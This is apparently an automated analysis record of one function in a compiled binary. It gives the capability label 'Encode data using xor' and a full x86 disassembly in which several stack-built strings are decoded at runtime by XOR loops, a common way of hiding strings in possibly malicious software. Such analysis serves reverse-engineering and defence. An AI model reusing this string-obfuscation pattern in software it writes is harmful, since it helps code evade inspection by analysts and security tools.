Function at 0x40d96e
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x468667
call fcn.004685c0
sub esp, 0x184
movaps xmm0, xmmword [0x47f610]
mov eax, edx
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x48], eax
movups xmmword [ebp - 0x106], xmm0
mov esi, edx
mov dword [ebp - 0x94], ecx
movaps xmm0, xmmword [0x47f6f0]
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x2c], edx
movups xmmword [ebp - 0xf6], xmm0
mov word [ebp - 0xe6], 0x71
mov cl, byte [ebp - 0x106]
xor byte [ebp + esi - 0x105], cl
inc esi
cmp esi, 0x20
jb 0x40d9be
movaps xmm0, xmmword [0x47f400]
mov esi, edx
movups xmmword [ebp - 0xe4], xmm0
mov byte [ebp - 0xe5], dl
movaps xmm0, xmmword [0x47f370]
movups xmmword [ebp - 0xd4], xmm0
mov word [ebp - 0xc4], 0x25
mov cl, byte [ebp - 0xe4]
xor byte [ebp + esi - 0xe3], cl
inc esi
cmp esi, 0x20
jb 0x40d9fe
lea eax, [ebp - 0xe3]
mov byte [ebp - 0xc3], dl
push eax
lea ecx, [ebp - 0x190]
mov dword [ebp - 0x180], edx
mov dword [ebp - 0x17c], 0xf
mov byte [ebp - 0x190], dl
call fcn.00413d68
xor edx, edx
mov dword [ebp - 4], edx
mov esi, edx
movaps xmm0, xmmword [0x47f3a0]
movups xmmword [ebp - 0x128], xmm0
mov word [ebp - 0x108], 0x2d
movaps xmm0, xmmword [0x47f3c0]
movups xmmword [ebp - 0x118], xmm0
mov cl, byte [ebp - 0x128]
xor byte [ebp + esi - 0x127], cl
inc esi
cmp esi, 0x20
jb 0x40da6b
push 0xf
pop esi
lea eax, [ebp - 0x127]
mov byte [ebp - 0x107], dl
push eax
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x168], edx
mov dword [ebp - 0x164], esi
mov byte [ebp - 0x178], dl
call fcn.00413d68
mov byte [ebp - 4], 1
lea eax, [ebp - 0x105]
and dword [ebp - 0x150], 0
lea ecx, [ebp - 0x160]
push eax
mov dword [ebp - 0x14c], esi
mov byte [ebp - 0x160], 0
call fcn.00413d68
push dword [ebp - 0x70]
xor eax, eax
mov dword [ebp - 4], 2
mov dword [ebp - 0x64], eax
lea ecx, [ebp - 0x64]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x190]
push eax
call fcn.00414ba0
push 0x4127c9
push 3
push 0x18
lea eax, [ebp - 0x190]
mov byte [ebp - 4], 4
push eax
call fcn.0044064f
push ecx
lea eax, [ebp - 0x94]
mov byte [ebp - 4], 5
push eax
lea ecx, [ebp - 0x90]
call fcn.00414662
lea eax, [ebp - 0x90]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0xa8]
call fcn.0040c930
lea ecx, [ebp - 0x90]
call fcn.00413b3d
lea eax, [ebp - 0xa8]
push eax
lea ecx, [ebp - 0x58]
call fcn.0040d946
mov edi, dword [ebp - 0x58]
mov esi, dword [ebp - 0x54]
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x78], edi
mov dword [ebp - 0x74], esi
lea eax, [ebp - 0xa8]
push eax
lea ecx, [ebp - 0x130]
call fcn.0040d946
mov ecx, dword [ebp - 0x12c]
xor eax, eax
xorps xmm0, xmm0
movlpd qword [ebp - 0x58], xmm0
and dword [ebp - 0x54], eax
mov dword [ebp - 0x58], eax
test ecx, ecx
je 0x40dba3
call fcn.0040b03f
mov eax, dword [ebp - 0x58]
mov byte [ebp - 4], 0xa
cmp edi, eax
je 0x40def8
mov dword [ebp - 0xa0], edi
xor edi, edi
mov eax, dword [ebp - 0x60]
sub eax, dword [ebp - 0x64]
push 0x18
cdq
pop ecx
idiv ecx
mov dword [ebp - 0x6c], edi
cmp edi, eax
jae 0x40dedf
mov eax, dword [ebp - 0x4c]
lea ecx, [ebp - 0x148]
add eax, 0x20
mov byte [ebp - 4], 0xb
push ecx
mov ecx, eax
mov dword [ebp - 0x68], eax
call fcn.0040bc87
push ecx
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 0xc
push ecx
mov ecx, eax
call fcn.004143b3
mov eax, dword [ebp - 0x64]
or dword [ebp - 0x2c], 1
imul ecx, edi, 0x18
push 0
add eax, ecx
mov dword [ebp - 0x50], ecx
push eax
lea ecx, [ebp - 0x90]
call fcn.00413278
lea ecx, [ebp - 0x90]
mov esi, eax
call fcn.00413d07
lea ecx, [ebp - 0x148]
mov byte [ebp - 4], 0xb
call fcn.00413b3d
cmp esi, 0xffffffff
je 0x40ded2
push 0
push 0
call dword [0x46d19c]
push eax
call dword [0x46d208]
mov ecx, dword [ebp - 0x68]
lea eax, [ebp - 0x90]
push eax
call fcn.0040bc4c
push ecx
lea ecx, [ebp - 0xc0]
mov byte [ebp - 4], 0xd
push ecx
mov ecx, eax
call fcn.004143b3
or dword [ebp - 0x2c], 8
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 0xf
call fcn.00413b3d
push ecx
push ecx
lea ecx, [ebp - 0xc0]
call fcn.004131df
mov esi, eax
lea ecx, [ebp - 0xc0]
push 0xffffffffffffffff
lea eax, [esi + 1]
push eax
lea eax, [ebp - 0x148]
push eax
call fcn.00413194
mov byte [ebp - 4], 0x10
xor edx, edx
movaps xmm0, xmmword [0x47f270]
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x30], 0x190d04
mov cl, byte [ebp - 0x40]
xor cl, byte [ebp + edx - 0x3f]
mov byte [ebp + edx - 0x3f], cl
inc edx
cmp edx, 0x12
jb 0x40dcc3
push ecx
lea eax, [ebp - 0x3f]
mov byte [ebp - 0x2d], 0
push eax
lea ecx, [ebp - 0x148]
call fcn.00413247
cmp eax, 0xffffffff
je 0x40dea2
push esi
push 0
lea eax, [ebp - 0xdc]
push eax
lea ecx, [ebp - 0xc0]
call fcn.00413194
lea ecx, [ebp - 0xc0]
cmp ecx, eax
je 0x40dd23
mov byte [ebp - 0x98], 0
push dword [ebp - 0x98]
push eax
call fcn.00413e7a
lea ecx, [ebp - 0xdc]
call fcn.00413d07
push ecx
push ecx
lea ecx, [ebp - 0xc0]
call fcn.004131df
push esi
inc eax
lea ecx, [ebp - 0xc0]
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.00413194
mov byte [ebp - 4], 0x11
mov cl, 0x28
mov dword [ebp - 0x19], 0x44497f28
xor edx, edx
mov dword [ebp - 0x15], 0x5b5c4d44
mov byte [ebp - 0x11], 0
xor byte [ebp + edx - 0x18], cl
inc edx
cmp edx, 7
jae 0x40dd79
mov cl, byte [ebp - 0x19]
jmp 0x40dd6a
mov byte [ebp - 0x11], 0
call fcn.00435972
lea edx, [ebp - 0x18]
mov ecx, eax
call fcn.004354d9
and dword [ebp - 0x34], 0
lea ecx, [ebp - 0x44]
mov esi, eax
mov dword [ebp - 0x30], 0xf
push esi
mov byte [ebp - 0x44], 0
call fcn.00413d68
lea ecx, [ebp - 0x44]
call fcn.0040d215
lea ecx, [ebp - 0x44]
call fcn.00413d07
mov ecx, dword [ebp - 0x50]
lea edx, [ebp - 0x105]
add ecx, dword [ebp - 0x64]
call fcn.00414712
test al, al
je 0x40ddd2
mov ecx, 0x47a59c
jmp 0x40de01
mov cl, 0x32
mov dword [ebp - 0x25], 0x577f6e32
mov dword [ebp - 0x21], 0x537f5346
xor edx, edx
mov dword [ebp - 0x1d], 0x6d5941
xor byte [ebp + edx - 0x24], cl
inc edx
cmp edx, 0xa
jae 0x40ddfa
mov cl, byte [ebp - 0x25]
jmp 0x40ddeb
mov byte [ebp - 0x1a], 0
lea ecx, [ebp - 0x24]
mov eax, dword [ebp - 0x48]
mov edx, dword [eax]
call fcn.004354d9
mov edx, eax
mov ecx, esi
call fcn.004354d9
cmp dword [ebp - 0x7c], 0x10
lea edx, [ebp - 0x90]
mov ecx, 0x47ae24
mov esi, eax
cmovae edx, dword [ebp - 0x90]
call fcn.004354d9
mov edx, eax
mov ecx, esi
call fcn.004354d9
and dword [ebp - 0x34], 0
lea ecx, [ebp - 0x44]
push 0xf
pop esi
push eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x30], esi
mov byte [ebp - 0x44], 0
call fcn.00413d68
lea ecx, [ebp - 0x44]
call fcn.0040d215
lea ecx, [ebp - 0x44]
call fcn.00413d07
mov byte [ebp - 0x9c], 0
lea edx, [ebp - 0x50]
push dword [ebp - 0x9c]
lea ecx, [ebp - 0x44]
call fcn.004157f9
pop ecx
mov ecx, dword [ebp - 0x68]
lea edx, [ebp - 0x44]
push 0x12
mov byte [ebp - 4], 0x12
call fcn.0040d185
pop ecx
lea ecx, [ebp - 0x44]
call fcn.00413b3d
lea ecx, [ebp - 0x90]
call fcn.00413d07
lea ecx, [ebp - 0x148]
call fcn.00413d07
lea ecx, [ebp - 0xc0]
call fcn.00413d07
jmp 0x40ded2
mov dword [ebp - 4], 0xa
inc edi
jmp 0x40dbb7
lea ecx, [ebp - 0x78]
call fcn.0040c97a
mov edi, dword [ebp - 0x78]
mov esi, dword [ebp - 0x74]
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x4c], edi
jmp 0x40dba7
test esi, esi
je 0x40df03
mov ecx, esi
call fcn.0040b03f
mov ecx, dword [ebp - 0xa4]
test ecx, ecx
je 0x40df12
call fcn.0040b03f
lea ecx, [ebp - 0x64]
call fcn.00413ac8
xor eax, eax
inc eax
jmp 0x40df2f
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret